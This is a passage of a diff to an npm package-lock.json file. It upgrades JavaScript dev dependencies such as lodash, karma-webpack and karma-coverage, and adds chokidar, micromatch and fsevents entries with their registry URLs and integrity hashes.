"source-map": "0.5.6", - "tmp": "0.0.31", + "socket.io": "2.1.1", + "source-map": "0.6.1", + "tmp": "0.0.33", "useragent": "2.2.1" }, "dependencies": { - "lodash": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-3.10.1.tgz", - "integrity": "sha1-W/Rejkm6QYnhfUgnid/RW9FAt7Y=", + "anymatch": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz", + "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==", + "dev": true, + "requires": { + "micromatch": "3.1.10", + "normalize-path": "2.1.1" + } + }, + "arr-diff": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", + "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", + "dev": true + }, + "array-unique": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", + "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", + "dev": true + }, + "braces": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", + "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", + "dev": true, + "requires": { + "arr-flatten": "1.1.0", + "array-unique": "0.3.2", + "extend-shallow": "2.0.1", + "fill-range": "4.0.0", + "isobject": "3.0.1", + "repeat-element": "1.1.2", + "snapdragon": "0.8.2", + "snapdragon-node": "2.1.1", + "split-string": "3.1.0", + "to-regex": "3.0.2" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "chokidar": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.0.4.tgz", + "integrity": "sha512-z9n7yt9rOvIJrMhvDtDictKrkFHeihkNl6uWMmZlmL6tJtX9Cs+87oK+teBx+JIgzvbX3yZHT3eF8vpbDxHJXQ==", + "dev": true, + "requires": { + "anymatch": "2.0.0", + "async-each": "1.0.1", + "braces": "2.3.2", + "fsevents": "1.2.4", + "glob-parent": "3.1.0", + "inherits": "2.0.3", + "is-binary-path": "1.0.1", + "is-glob": "4.0.0", + "lodash.debounce": "4.0.8", + "normalize-path": "2.1.1", + "path-is-absolute": "1.0.1", + "readdirp": "2.1.0", + "upath": "1.1.0" + } + }, + "expand-brackets": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", + "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", + "dev": true, + "requires": { + "debug": "2.6.8", + "define-property": "0.2.5", + "extend-shallow": "2.0.1", + "posix-character-classes": "0.1.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "0.1.6" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + }, + "is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "0.1.6", + "is-data-descriptor": "0.1.4", + "kind-of": "5.1.0" + } + }, + "kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true + } + } + }, + "extglob": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", + "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", + "dev": true, + "requires": { + "array-unique": "0.3.2", + "define-property": "1.0.0", + "expand-brackets": "2.1.4", + "extend-shallow": "2.0.1", + "fragment-cache": "0.2.1", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + }, + "dependencies": { + "define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", + "dev": true, + "requires": { + "is-descriptor": "1.0.2" + } + }, + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "fill-range": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", + "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", + "dev": true, + "requires": { + "extend-shallow": "2.0.1", + "is-number": "3.0.0", + "repeat-string": "1.6.1", + "to-regex-range": "2.1.1" + }, + "dependencies": { + "extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", + "dev": true, + "requires": { + "is-extendable": "0.1.1" + } + } + } + }, + "fsevents": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.4.tgz", + "integrity": "sha512-z8H8/diyk76B7q5wg+Ud0+CqzcAF3mBBI/bA5ne5zrRUUIvNkJY//D3BqyH571KuAC4Nr7Rw7CjWX4r0y9DvNg==", + "dev": true, + "optional": true, + "requires": { + "nan": "2.10.0", + "node-pre-gyp": "0.10.0" + }, + "dependencies": { + "abbrev": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "optional": true + }, + "ansi-regex": { + "version": "2.1.1", + "bundled": true, + "dev": true + }, + "aproba": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "optional": true + }, + "are-we-there-yet": { + "version": "1.1.4", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "delegates": "1.0.0", + "readable-stream": "2.3.6" + } + }, + "balanced-match": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "brace-expansion": { + "version": "1.1.11", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "balanced-match": "1.0.0", + "concat-map": "0.0.1" + } + }, + "chownr": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "code-point-at": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, + "concat-map": { + "version": "0.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "console-control-strings": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, + "core-util-is": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "debug": { + "version": "2.6.9", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "ms": "2.0.0" + } + }, + "deep-extend": { + "version": "0.5.1", + "bundled": true, + "dev": true, + "optional": true + }, + "delegates": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "detect-libc": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "optional": true + }, + "fs-minipass": { + "version": "1.2.5", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minipass": "2.2.4" + } + }, + "fs.realpath": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "gauge": { + "version": "2.7.4", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.2" + } + }, + "glob": { + "version": "7.1.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "fs.realpath": "1.0.0", + "inflight": "1.0.6", + "inherits": "2.0.3", + "minimatch": "3.0.4", + "once": "1.4.0", + "path-is-absolute": "1.0.1" + } + }, + "has-unicode": { + "version": "2.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "iconv-lite": { + "version": "0.4.21", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "safer-buffer": "2.1.2" + } + }, + "ignore-walk": { + "version": "3.0.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minimatch": "3.0.4" + } + }, + "inflight": { + "version": "1.0.6", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "once": "1.4.0", + "wrappy": "1.0.2" + } + }, + "inherits": { + "version": "2.0.3", + "bundled": true, + "dev": true + }, + "ini": { + "version": "1.3.5", + "bundled": true, + "dev": true, + "optional": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "requires": { + "number-is-nan": "1.0.1" + } + }, + "isarray": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "minimatch": { + "version": "3.0.4", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "brace-expansion": "1.1.11" + } + }, + "minimist": { + "version": "0.0.8", + "bundled": true, + "dev": true + }, + "minipass": { + "version": "2.2.4", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "5.1.1", + "yallist": "3.0.2" + } + }, + "minizlib": { + "version": "1.1.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "minipass": "2.2.4" + } + }, + "mkdirp": { + "version": "0.5.1", + "bundled": true, + "dev": true, + "requires": { + "minimist": "0.0.8" + } + }, + "ms": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "needle": { + "version": "2.2.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "debug": "2.6.9", + "iconv-lite": "0.4.21", + "sax": "1.2.4" + } + }, + "node-pre-gyp": { + "version": "0.10.0", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "detect-libc": "1.0.3", + "mkdirp": "0.5.1", + "needle": "2.2.0", + "nopt": "4.0.1", + "npm-packlist": "1.1.10", + "npmlog": "4.1.2", + "rc": "1.2.7", + "rimraf": "2.6.2", + "semver": "5.5.0", + "tar": "4.4.1" + } + }, + "nopt": { + "version": "4.0.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "abbrev": "1.1.1", + "osenv": "0.1.5" + } + }, + "npm-bundled": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "optional": true + }, + "npm-packlist": { + "version": "1.1.10", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "ignore-walk": "3.0.1", + "npm-bundled": "1.0.3" + } + }, + "npmlog": { + "version": "4.1.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "are-we-there-yet": "1.1.4", + "console-control-strings": "1.1.0", + "gauge": "2.7.4", + "set-blocking": "2.0.0" + } + }, + "number-is-nan": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "object-assign": { + "version": "4.1.1", + "bundled": true, + "dev": true, + "optional": true + }, + "once": { + "version": "1.4.0", + "bundled": true, + "dev": true, + "requires": { + "wrappy": "1.0.2" + } + }, + "os-homedir": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "os-tmpdir": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "osenv": { + "version": "0.1.5", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "os-homedir": "1.0.2", + "os-tmpdir": "1.0.2" + } + }, + "path-is-absolute": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "process-nextick-args": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "rc": { + "version": "1.2.7", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "deep-extend": "0.5.1", + "ini": "1.3.5", + "minimist": "1.2.0", + "strip-json-comments": "2.0.1" + }, + "dependencies": { + "minimist": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "optional": true + } + } + }, + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "core-util-is": "1.0.2", + "inherits": "2.0.3", + "isarray": "1.0.0", + "process-nextick-args": "2.0.0", + "safe-buffer": "5.1.1", + "string_decoder": "1.1.1", + "util-deprecate": "1.0.2" + } + }, + "rimraf": { + "version": "2.6.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "glob": "7.1.2" + } + }, + "safe-buffer": { + "version": "5.1.1", + "bundled": true, + "dev": true + }, + "safer-buffer": { + "version": "2.1.2", + "bundled": true, + "dev": true, + "optional": true + }, + "sax": { + "version": "1.2.4", + "bundled": true, + "dev": true, + "optional": true + }, + "semver": { + "version": "5.5.0", + "bundled": true, + "dev": true, + "optional": true + }, + "set-blocking": { + "version": "2.0.0", + "bundled": true, + "dev": true, + "optional": true + }, + "signal-exit": { + "version": "3.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "safe-buffer": "5.1.1" + } + }, + "strip-ansi": { + "version": "3.0.1", + "bundled": true, + "dev": true, + "requires": { + "ansi-regex": "2.1.1" + } + }, + "strip-json-comments": { + "version": "2.0.1", + "bundled": true, + "dev": true, + "optional": true + }, + "tar": { + "version": "4.4.1", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "chownr": "1.0.1", + "fs-minipass": "1.2.5", + "minipass": "2.2.4", + "minizlib": "1.1.0", + "mkdirp": "0.5.1", + "safe-buffer": "5.1.1", + "yallist": "3.0.2" + } + }, + "util-deprecate": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "optional": true + }, + "wide-align": { + "version": "1.1.2", + "bundled": true, + "dev": true, + "optional": true, + "requires": { + "string-width": "1.0.2" + } + }, + "wrappy": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "yallist": { + "version": "3.0.2", + "bundled": true, + "dev": true + } + } + }, + "glob-parent": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", + "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", + "dev": true, + "requires": { + "is-glob": "3.1.0", + "path-dirname": "1.0.2" + }, + "dependencies": { + "is-glob": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", + "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", + "dev": true, + "requires": { + "is-extglob": "2.1.1" + } + } + } + }, + "is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "requires": { + "kind-of": "6.0.2" + } + }, + "is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "requires": { + "is-accessor-descriptor": "1.0.0", + "is-data-descriptor": "1.0.0", + "kind-of": "6.0.2" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=", + "dev": true + }, + "is-glob": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.0.tgz", + "integrity": "sha1-lSHHaEXMJhCoUgPd8ICpWML/q8A=", + "dev": true, + "requires": { + "is-extglob": "2.1.1" + } + }, + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dev": true, + "requires": { + "kind-of": "3.2.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dev": true, + "requires": { + "is-buffer": "1.1.5" + } + } + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + }, + "kind-of": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.2.tgz", + "integrity": "sha512-s5kLOcnH0XqDO+FvuaLX8DDjZ18CGFk7VygH40QoKPUQhW4e2rvM0rwUq0t8IQDOwYSeLK01U90OjzBTme2QqA==", + "dev": true + }, + "micromatch": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", + "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==", + "dev": true, + "requires": { + "arr-diff": "4.0.0", + "array-unique": "0.3.2", + "braces": "2.3.2", + "define-property": "2.0.2", + "extend-shallow": "3.0.2", + "extglob": "2.0.4", + "fragment-cache": "0.2.1", + "kind-of": "6.0.2", + "nanomatch": "1.2.13", + "object.pick": "1.3.0", + "regex-not": "1.0.2", + "snapdragon": "0.8.2", + "to-regex": "3.0.2" + } + }, + "nan": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.10.0.tgz", + "integrity": "sha512-bAdJv7fBLhWC+/Bls0Oza+mvTaNQtP+1RyhhhvD95pgUJz6XM5IzgmxOkItJ9tkoCiplvAnXI1tNmmUD/eScyA==", + "dev": true, + "optional": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", "dev": true } } @@ -5292,24 +8658,16 @@ "dev": true }, "karma-coverage": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/karma-coverage/-/karma-coverage-1.1.1.tgz", - "integrity": "sha1-Wv+LOc9plNwi3kyENix2ABtjfPY=", + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/karma-coverage/-/karma-coverage-1.1.2.tgz", + "integrity": "sha512-eQawj4Cl3z/CjxslYy9ariU4uDh7cCNFZHNWXWRpl0pNeblY/4wHR7M7boTYXWrn9bY0z2pZmr11eKje/S/hIw==", "dev": true, "requires": { "dateformat": "1.0.12", "istanbul": "0.4.5", - "lodash": "3.10.1", + "lodash": "4.17.10", "minimatch": "3.0.4", "source-map": "0.5.6" - }, - "dependencies": { - "lodash": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-3.10.1.tgz", - "integrity": "sha1-W/Rejkm6QYnhfUgnid/RW9FAt7Y=", - "dev": true - } } }, "karma-mocha": { @@ -5390,7 +8748,7 @@ "integrity": "sha1-0jyjSAG9qYY60xjju0vUBisTrNI=", "dev": true, "requires": { - "lodash": "4.17.4", + "lodash": "4.17.10", "phantomjs-prebuilt": "2.1.16" } }, @@ -5404,37 +8762,45 @@ } }, "karma-webpack": { - "version": "1.8.1", - "resolved": "https://registry.npmjs.org/karma-webpack/-/karma-webpack-1.8.1.tgz", - "integrity": "sha1-OdX9Lt7qPMPvW0BZibN9Ww5qO04=", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/karma-webpack/-/karma-webpack-3.0.0.tgz", + "integrity": "sha512-Ja1o9LLoqWaJyUNhTKaXjWiEH9y7a9H3mzP8pYB30SBsgoF5KBS/65NeHFd+QPuT9ITrym8xFt8BZeGbcOfujA==", "dev": true, "requires": { - "async": "0.9.2", - "loader-utils": "0.2.17", - "lodash": "3.10.1", - "source-map": "0.1.43", - "webpack-dev-middleware": "1.12.0" + "async": "2.6.1", + "babel-runtime": "6.25.0", + "loader-utils": "1.1.0", + "lodash": "4.17.10", + "source-map": "0.5.6", + "webpack-dev-middleware": "2.0.6" }, "dependencies": { "async": { - "version": "0.9.2", - "resolved": "https://registry.npmjs.org/async/-/async-0.9.2.tgz", - "integrity": "sha1-rqdNXmHB+JlhO/ZL2mbUx48v0X0=", - "dev": true - }, - "lodash": { - "version": "3.10.1", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-3.10.1.tgz", - "integrity": "sha1-W/Rejkm6QYnhfUgnid/RW9FAt7Y=", - "dev": true - }, - "source-map": { - "version": "0.1.43", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.1.43.tgz", - "integrity": "sha1-wkvBRspRfBRx9drL4lcbK3+eM0Y=", + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", + "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", "dev": true, "requires": { - "amdefine": "1.0.1" + "lodash": "4.17.10" + }, + "dependencies": { + "lodash": { + "version": "4.17.10", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", + "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==", + "dev": true + } + } + }, + "loader-utils": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", + "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "dev": true, + "requires": { + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -5455,6 +8821,12 @@ "resolved": "https://registry.npmjs.org/keycode/-/keycode-2.1.9.tgz", "integrity": "sha1-lkojxU5IiUBbSGGlyfBIDUUUHfo=" }, + "killable": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/killable/-/killable-1.0.0.tgz", + "integrity": "sha1-2ouEvUfeU5WHj5XWTQLyRJ/gXms=", + "dev": true + }, "kind-of": { "version": "3.2.2", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", @@ -5477,7 +8849,17 @@ "version": "1.0.4", "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-1.0.4.tgz", "integrity": "sha1-odePw6UEdMuAhF07O24dpJpEbo4=", - "dev": true + "dev": true, + "optional": true + }, + "lcid": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", + "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", + "dev": true, + "requires": { + "invert-kv": "1.0.0" + } }, "levn": { "version": "0.3.0", @@ -5521,8 +8903,36 @@ "requires": { "find-cache-dir": "0.1.1", "mkdirp": "0.5.1" + }, + "dependencies": { + "find-cache-dir": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-0.1.1.tgz", + "integrity": "sha1-yN765XyKUqinhPnjHFfHQumToLk=", + "dev": true, + "requires": { + "commondir": "1.0.1", + "mkdirp": "0.5.1", + "pkg-dir": "1.0.0" + } + }, + "pkg-dir": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-1.0.0.tgz", + "integrity": "sha1-ektQio1bstYp1EcFb/TpyTFM89Q=", + "dev": true, + "requires": { + "find-up": "1.1.2" + } + } } }, + "loader-runner": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-2.3.0.tgz", + "integrity": "sha1-9IKuqC1UPgeSFwDVpG7yb9rGuKI=", + "dev": true + }, "loader-utils": { "version": "0.2.17", "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-0.2.17.tgz", @@ -5535,98 +8945,56 @@ "object-assign": "4.1.1" } }, - "lodash": { - "version": "4.17.4", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.4.tgz", - "integrity": "sha1-eCA6TRwyiuHYbcpkYONptX9AVa4=" - }, - "lodash-es": { - "version": "4.17.4", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.4.tgz", - "integrity": "sha1-3MHXVS4VCgZABzupyzHXDwMpUOc=" - }, - "lodash._createcompounder": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/lodash._createcompounder/-/lodash._createcompounder-3.0.0.tgz", - "integrity": "sha1-XdLLVTctbnDg4jkvsjBNZjEJEHU=", + "locate-path": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", + "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", "dev": true, "requires": { - "lodash.deburr": "3.2.0", - "lodash.words": "3.2.0" + "p-locate": "2.0.0", + "path-exists": "3.0.0" + }, + "dependencies": { + "path-exists": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", + "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", + "dev": true + } } }, - "lodash._root": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/lodash._root/-/lodash._root-3.0.1.tgz", - "integrity": "sha1-+6HEUkwZ7ppfgTa0YJ8BfPTe1pI=", - "dev": true - }, - "lodash.assign": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/lodash.assign/-/lodash.assign-4.2.0.tgz", - "integrity": "sha1-DZnzzNem0mHRm9rrkkUAXShYCOc=", - "dev": true + "lodash": { + "version": "4.17.10", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", + "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" }, "lodash.camelcase": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-3.0.1.tgz", - "integrity": "sha1-kyyLh/ikN3iXxnGXUzKC+Xrqwpg=", - "dev": true, - "requires": { - "lodash._createcompounder": "3.0.0" - } + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=", + "dev": true }, "lodash.curry": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", "integrity": "sha1-JI42By7ekGUB11lmIAqG2riyMXA=" }, - "lodash.deburr": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/lodash.deburr/-/lodash.deburr-3.2.0.tgz", - "integrity": "sha1-baj1QzSjZqfPTEx2742Aqhs2XtU=", - 